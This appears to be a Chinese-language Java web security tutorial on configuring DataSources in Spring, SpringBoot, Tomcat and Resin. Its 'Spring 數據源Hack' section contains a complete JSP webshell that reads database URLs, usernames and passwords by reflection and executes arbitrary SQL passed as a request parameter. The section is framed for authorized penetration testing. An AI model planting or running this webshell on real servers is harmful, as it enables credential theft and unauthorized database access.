DataSource
在真實的Java項目中通常不會使用原生的JDBC的DriverManager去連接數據庫,而是使用數據源(javax.sql.DataSource)來代替DriverManager管理數據庫的連接。一般情況下在Web服務啟動時候會預先定義好數據源,有了數據源程序就不再需要編寫任何數據庫連接相關的代碼了,直接引用DataSource對象即可獲取數據庫連接了。
常見的數據源有:DBCP、C3P0、Druid、Mybatis DataSource,他們都實現于javax.sql.DataSource接口。
Spring MVC 數據源
在Spring MVC中我們可以自由的選擇第三方數據源,通常我們會定義一個DataSource Bean用于配置和初始化數據源對象,然后在Spring中就可以通過Bean注入的方式獲取數據源對象了。
在基于XML配置的SpringMVC中配置數據源:
<bean id="dataSource" class="com.alibaba.druid.pool.DruidDataSource" init-method="init" destroy-method="close">
<property name="url" value="${jdbc.url}"/>
<property name="username" value="${jdbc.username}"/>
<property name="password" value="${jdbc.password}"/>
....
/>
如上,我們定義了一個id為dataSource的Spring Bean對象,username和password都使用了${jdbc.XXX}表示,很明顯${jdbc.username}并不是數據庫的用戶名,這其實是采用了Spring的property-placeholder制定了一個properties文件,使用${jdbc.username}其實會自動自定義的properties配置文件中的配置信息。
<context:property-placeholder location="classpath:/config/jdbc.properties"/>
jdbc.properties內容:
jdbc.driver=com.mysql.jdbc.Driver
jdbc.url=jdbc:mysql://localhost:3306/mysql?autoReconnect=true&zeroDateTimeBehavior=round&useUnicode=true&characterEncoding=UTF-8&useOldAliasMetadataBehavior=true&useOldAliasMetadataBehavior=true&useSSL=false
jdbc.username=root
jdbc.password=root
在Spring中我們只需要通過引用這個Bean就可以獲取到數據源了,比如在Spring JDBC中通過注入數據源(ref="dataSource")就可以獲取到上面定義的dataSource。
<!-- jdbcTemplate Spring JDBC 模版 -->
<bean id="jdbcTemplate" class="org.springframework.jdbc.core.JdbcTemplate" abstract="false" lazy-init="false">
<property name="dataSource" ref="dataSource"/>
</bean>
SpringBoot配置數據源:
在SpringBoot中只需要在application.properties或application.yml中定義spring.datasource.xxx即可完成DataSource配置。
spring.datasource.url=jdbc:mysql://localhost:3306/mysql?autoReconnect=true&zeroDateTimeBehavior=round&useUnicode=true&characterEncoding=UTF-8&useOldAliasMetadataBehavior=true&useOldAliasMetadataBehavior=true&useSSL=false
spring.datasource.username=root
spring.datasource.password=root
spring.datasource.type=com.alibaba.druid.pool.DruidDataSource
spring.datasource.driver-class-name=com.mysql.jdbc.Driver
Spring 數據源Hack
我們通常可以通過查找Spring數據庫配置信息找到數據庫賬號密碼,但是很多時候我們可能會找到非常多的配置項甚至是加密的配置信息,這將會讓我們非常的難以確定真實的數據庫配置信息。某些時候在授權滲透測試的情況下我們可能會需要傳個shell嘗試性的連接下數據庫(高危操作,請勿違法!)證明下危害,那么您可以在webshell中使用注入數據源的方式來獲取數據庫連接對象,甚至是讀取數據庫密碼(切記不要未經用戶授權違規操作!)。
spring-datasource.jsp獲取數據源/執行SQL語句示例
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="org.springframework.context.ApplicationContext" %>
<%@ page import="org.springframework.web.context.support.WebApplicationContextUtils" %>
<%@ page import="javax.sql.DataSource" %>
<%@ page import="java.sql.Connection" %>
<%@ page import="java.sql.PreparedStatement" %>
<%@ page import="java.sql.ResultSet" %>
<%@ page import="java.sql.ResultSetMetaData" %>
<%@ page import="java.util.List" %>
<%@ page import="java.util.ArrayList" %>
<%@ page import="java.lang.reflect.InvocationTargetException" %>
<style>
th, td {
border: 1px solid #C1DAD7;
font-size: 12px;
padding: 6px;
color: #4f6b72;
}
</style>
<%!
// C3PO數據源類
private static final String C3P0_CLASS_NAME = "com.mchange.v2.c3p0.ComboPooledDataSource";
// DBCP數據源類
private static final String DBCP_CLASS_NAME = "org.apache.commons.dbcp.BasicDataSource";
//Druid數據源類
private static final String DRUID_CLASS_NAME = "com.alibaba.druid.pool.DruidDataSource";
/**
* 獲取所有Spring管理的數據源
* @param ctx Spring上下文
* @return 數據源數組
*/
List<DataSource> getDataSources(ApplicationContext ctx) {
List<DataSource> dataSourceList = new ArrayList<DataSource>();
String[] beanNames = ctx.getBeanDefinitionNames();
for (String beanName : beanNames) {
Object object = ctx.getBean(beanName);
if (object instanceof DataSource) {
dataSourceList.add((DataSource) object);
}
}
return dataSourceList;
}
/**
* 打印Spring的數據源配置信息,當前只支持DBCP/C3P0/Druid數據源類
* @param ctx Spring上下文對象
* @return 數據源配置字符串
* @throws ClassNotFoundException 數據源類未找到異常
* @throws NoSuchMethodException 反射調用時方法沒找到異常
* @throws InvocationTargetException 反射調用異常
* @throws IllegalAccessException 反射調用時不正確的訪問異常
*/
String printDataSourceConfig(ApplicationContext ctx) throws ClassNotFoundException,
NoSuchMethodException, InvocationTargetException, IllegalAccessException {
List<DataSource> dataSourceList = getDataSources(ctx);
for (DataSource dataSource : dataSourceList) {
String className = dataSource.getClass().getName();
String url = null;
String UserName = null;
String PassWord = null;
if (C3P0_CLASS_NAME.equals(className)) {
Class clazz = Class.forName(C3P0_CLASS_NAME);
url = (String) clazz.getMethod("getJdbcUrl").invoke(dataSource);
UserName = (String) clazz.getMethod("getUser").invoke(dataSource);
PassWord = (String) clazz.getMethod("getPassword").invoke(dataSource);
} else if (DBCP_CLASS_NAME.equals(className)) {
Class clazz = Class.forName(DBCP_CLASS_NAME);
url = (String) clazz.getMethod("getUrl").invoke(dataSource);
UserName = (String) clazz.getMethod("getUsername").invoke(dataSource);
PassWord = (String) clazz.getMethod("getPassword").invoke(dataSource);
} else if (DRUID_CLASS_NAME.equals(className)) {
Class clazz = Class.forName(DRUID_CLASS_NAME);
url = (String) clazz.getMethod("getUrl").invoke(dataSource);
UserName = (String) clazz.getMethod("getUsername").invoke(dataSource);
PassWord = (String) clazz.getMethod("getPassword").invoke(dataSource);
}
return "URL:" + url + "<br/>UserName:" + UserName + "<br/>PassWord:" + PassWord + "<br/>";
}
return null;
}
%>
<%
String sql = request.getParameter("sql");// 定義需要執行的SQL語句
// 獲取Spring的ApplicationContext對象
ApplicationContext ctx = WebApplicationContextUtils.getWebApplicationContext(pageContext.getServletContext());
// 獲取Spring中所有的數據源對象
List<DataSource> dataSourceList = getDataSources(ctx);
// 檢查是否獲取到了數據源
if (dataSourceList == null) {
out.println("未找到任何數據源配置信息!");
return;
}
out.println("<hr/>");
out.println("Spring DataSource配置信息獲取測試:");
out.println("<hr/>");
out.print(printDataSourceConfig(ctx));
out.println("<hr/>");
// 定義需要查詢的SQL語句
sql = sql != null ? sql : "select version()";
for (DataSource dataSource : dataSourceList) {
out.println("<hr/>");
out.println("SQL語句:<font color='red'>" + sql + "</font>");
out.println("<hr/>");
//從數據源中獲取數據庫連接對象
Connection connection = dataSource.getConnection();
// 創建預編譯查詢對象
PreparedStatement pstt = connection.prepareStatement(sql);
// 執行查詢并獲取查詢結果對象
ResultSet rs = pstt.executeQuery();
out.println("<table><tr>");
// 獲取查詢結果的元數據對象
ResultSetMetaData metaData = rs.getMetaData();
// 從元數據中獲取字段信息
for (int i = 1; i <= metaData.getColumnCount(); i++) {
out.println("<th>" + metaData.getColumnName(i) + "(" + metaData.getColumnTypeName(i) + ")\t" + "</th>");
}
out.println("<tr/>");
// 獲取JDBC查詢結果
while (rs.next()) {
out.println("<tr>");
for (int i = 1; i <= metaData.getColumnCount(); i++) {
out.println("<td>" + rs.getObject(metaData.getColumnName(i)) + "</td>");
}
out.println("<tr/>");
}
rs.close();
pstt.close();
}
%>
讀取數據源信息和執行SQL語句效果:

上面的代碼不需要手動去配置文件中尋找任何信息就可以直接讀取出數據庫配置信息甚至是執行SQL語句,其實是利用了Spring的ApplicationContext遍歷了當前Web應用中Spring管理的所有的Bean,然后找出所有DataSource的對象,通過反射讀取出C3P0、DBCP、Druid這三類數據源的數據庫配置信息,最后還利用了DataSource獲取了Connection對象實現了數據庫查詢功能。
Java Web Server 數據源
除了第三方數據源庫實現,標準的Web容器自身也提供了數據源服務,通常會在容器中配置DataSource信息并注冊到JNDI(Java Naming and Directory Interface)中,在Web應用中我們可以通過JNDI的接口lookup(定義的JNDI路徑)來獲取到DataSource對象。
Tomcat JNDI DataSource
Tomcat配置JNDI數據源需要手動修改Tomcat目錄/conf/context.xml文件,參考:Tomcat JNDI Datasource
<Context>
<Resource name="jdbc/test" auth="Container" type="javax.sql.DataSource"
maxTotal="100" maxIdle="30" maxWaitMillis="10000"
username="root" password="root" driverClassName="com.mysql.jdbc.Driver"
url="jdbc:mysql://localhost:3306/mysql"/>
</Context>
Resin JNDI DataSource
Resin需要修改resin.xml,添加database配置,參考:Resin Database configuration
<database jndi-name='jdbc/test'>
<driver type="com.mysql.jdbc.Driver">
<url>jdbc:mysql://localhost:3306/mysql</url>
<user>root</user>
<password>root</password>
</driver>
</database>
Java Web安全
推薦文章: